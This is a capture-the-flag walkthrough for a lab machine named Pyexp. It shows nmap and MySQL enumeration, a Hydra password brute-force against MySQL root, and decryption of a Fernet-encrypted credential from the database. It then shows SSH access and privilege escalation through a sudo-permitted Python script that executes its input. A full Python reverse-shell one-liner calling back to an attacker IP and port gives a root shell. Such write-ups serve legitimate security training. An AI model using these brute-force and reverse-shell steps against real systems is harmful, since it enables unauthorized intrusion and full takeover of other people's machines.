Pyexp

Nmap

```
nmap -sC -sV -p- 192.168.229.118
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-31 17:04 CDT
Nmap scan report for 192.168.229.118
Host is up (0.067s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
1337/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 f7:af:6c:d1:26:94:dc:e5:1a:22:1a:64:4e:1c:34:a9 (RSA)
|   256 46:d2:8d:bd:2f:9e:af:ce:e2:45:5c:a6:12:c0:d9:19 (ECDSA)
|_  256 8d:11:ed:ff:7d:c5:a7:24:99:22:7f:ce:29:88:b2:4a (ED25519)
3306/tcp open  mysql   MySQL 5.5.5-10.3.23-MariaDB-0+deb10u1
| mysql-info:
|   Protocol: 10
|   Version: 5.5.5-10.3.23-MariaDB-0+deb10u1
|   Thread ID: 50
|   Capabilities flags: 63486
|   Some Capabilities: Support41Auth, IgnoreSpaceBeforeParenthesis, LongColumnFlag,
DontAllowDatabaseTableColumn, Speaks41ProtocolOld, ConnectWithDatabase,
SupportsTransactions, IgnoreSigpipes, SupportsCompression, FoundRows,
InteractiveClient, ODBCClient, Speaks41ProtocolNew, SupportsLoadDataLocal,
SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: ExN^l$komS9cg\xeo"Xr
|_  Auth Plugin Name: mysql_native_password
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 118.23 seconds
```

mysql

```
nmap --script=mysql-enum 192.168.229.118
```

```
┌──(root💀kali)-[~/pg/boxes/pyexp]
└─# nmap --script=mysql-enum 192.168.229.118
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-31 17:13 CDT
Nmap scan report for 192.168.229.118
Host is up (0.072s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE
3306/tcp open  mysql
| mysql-enum:
|   Valid usernames:
|     root:<empty> - Valid credentials
|     netadmin:<empty> - Valid credentials
|     guest:<empty> - Valid credentials
|     user:<empty> - Valid credentials
|     web:<empty> - Valid credentials
|     sysadmin:<empty> - Valid credentials
|     administrator:<empty> - Valid credentials
|     webadmin:<empty> - Valid credentials
|     admin:<empty> - Valid credentials
|     test:<empty> - Valid credentials
|_  Statistics: Performed 10 guesses in 1 seconds, average tps: 10.0

Nmap done: 1 IP address (1 host up) scanned in 3.27 seconds
```

Potential users

```
root
netadmin
guest
user
web
sysadmin
administrator
webadmin
admin
test
```

Brute forcing mysql

```
hydra -F -l root -P /usr/share/wordlists/rockyou.txt mysql://192.168.229.118 -t 32
-V
```

```
[3306][mysql] host: 192.168.229.118   login: root   password: prettywoman
[STATUS] attack finished for 192.168.229.118 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-07-31 17:58:09
```

`root:prettywoman`

Database findings

We find a table with a key and cred in a strange encoding.

```
MariaDB [data]> show fields from fernet;
+-------+--------------+------+-----+---------+-------+
| Field | Type         | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| cred  | varchar(255) | YES  |     | NULL    |       |
| keyy  | varchar(255) | YES  |     | NULL    |       |
+-------+--------------+------+-----+---------+-------+
2 rows in set (0.381 sec)

MariaDB [data]> select * from fernet;
+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------+
| cred                                                                                                                                                                                  | keyy                                          |
+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------+
| gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys= | UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0= |
+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------+
1 row in set (0.081 sec)
```

Attempting to decode in both base64 and 32 gives us no results. Time to start googling...

We find an artical on fernet symmetric encryption.

https://cryptography.io/en/latest/fernet/

To decrypt we need the cred along with the key, thankfully we have both.

We can use this website to decrptye the key.

https://asecuritysite.com/encryption/ferdecode

Fernet (Decode)

[Back] Fernet is a symmetric encryption method which makes sure that the message encrypted cannot be manipulated/read without the key. It uses URL safe encoding for the keys. Fernet uses 128-bit AES in CBC mode and PKCS7 padding, with HMAC using SHA256 for authentication. The IV is created from os.random(). This page decodes the token. Generate a token here: [Fernet]

Token:

```
gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mK
HAXLhyHZplax0v02MMzh_z_eI7ys=
```

Key:

Determine

```
UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0=
```

```
Decoded:        lucy:wJ9`"Lemdv9[FEw-
Date created:   Mon Aug 10 21:02:44 2020
Current time:   Sun Aug  1 14:20:34 2021

======Analysis====
Decoded data:
80000000005f31b5f46ea5894d37472946181bd53963a2460a980488baa6608565581eedf20becb9ac9f84b38efdc1e7250175fe26efd78b22d4c6cbec382df4e764f262870172
e1c8766995ac74bf4d8c33387fcff788ef2b
Version:        80
Date created:   000000005f31b5f4
IV:             6ea5894d37472946181bd53963a2460a
Cipher:         980488baa6608565581eedf20becb9ac9f84b38efdc1e7250175fe26efd78b22
HMAC:           d4c6cbec382df4e764f262870172e1c8766995ac74bf4d8c33387fcff788ef2b

======Converted====
IV:             6ea5894d37472946181bd53963a2460a
Time stamp:     1597093364
Date created:   Mon Aug 10 21:02:44 2020
```

Now can ssh on to the box.

```
┌──(root💀kali)-[~/pg/boxes/pyexp]
└─# ssh -p 1337 lucy@192.168.206.118
The authenticity of host '[192.168.206.118]:1337 ([192.168.206.118]:1337)' can't be established.
ECDSA key fingerprint is SHA256:vCsf55xm10zZX+ZdWt1UgdqD+IW5M7Nl1JHt4zfEzzo.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.206.118]:1337' (ECDSA) to the list of known hosts.
lucy@192.168.206.118's password:
Linux pyexp 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
lucy@pyexp:~$ ls
```

System enumeration and privilege escalation

`sudo -l`

```
lucy@pyexp:~$ sudo -l
Matching Defaults entries for lucy on pyexp:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User lucy may run the following commands on pyexp:
    (root) NOPASSWD: /usr/bin/python2 /opt/exp.py
```

We have sudo rights to this small python script, we cannot edit or delete it so, lets examin the script.

exp.py

```
uinput = raw_input('how are you?')
exec(uinput)
```

The script is pretty simple, it takes our raw input and executes it.

```
lucy@pyexp:/opt$ sudo /usr/bin/python2 /opt/exp.py
how are you?print("ehllo")
ehllo
```

We can run python commands in it, lets see if we can run a reverse shell from the script.

Python reverse shell.

```
import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((
"192.168.49.206",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
```

The command.

```
sudo /usr/bin/python2 /opt/exp.py
how are you?import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((
```

```
"192.168.49.206",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
```

And we get a reverse shell as root!

```
┌──(root💀kali)-[~/pg/boxes/pyexp]
└─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.49.206] from (UNKNOWN) [192.168.206.118] 50920
# id
uid=0(root) gid=0(root) groups=0(root)
```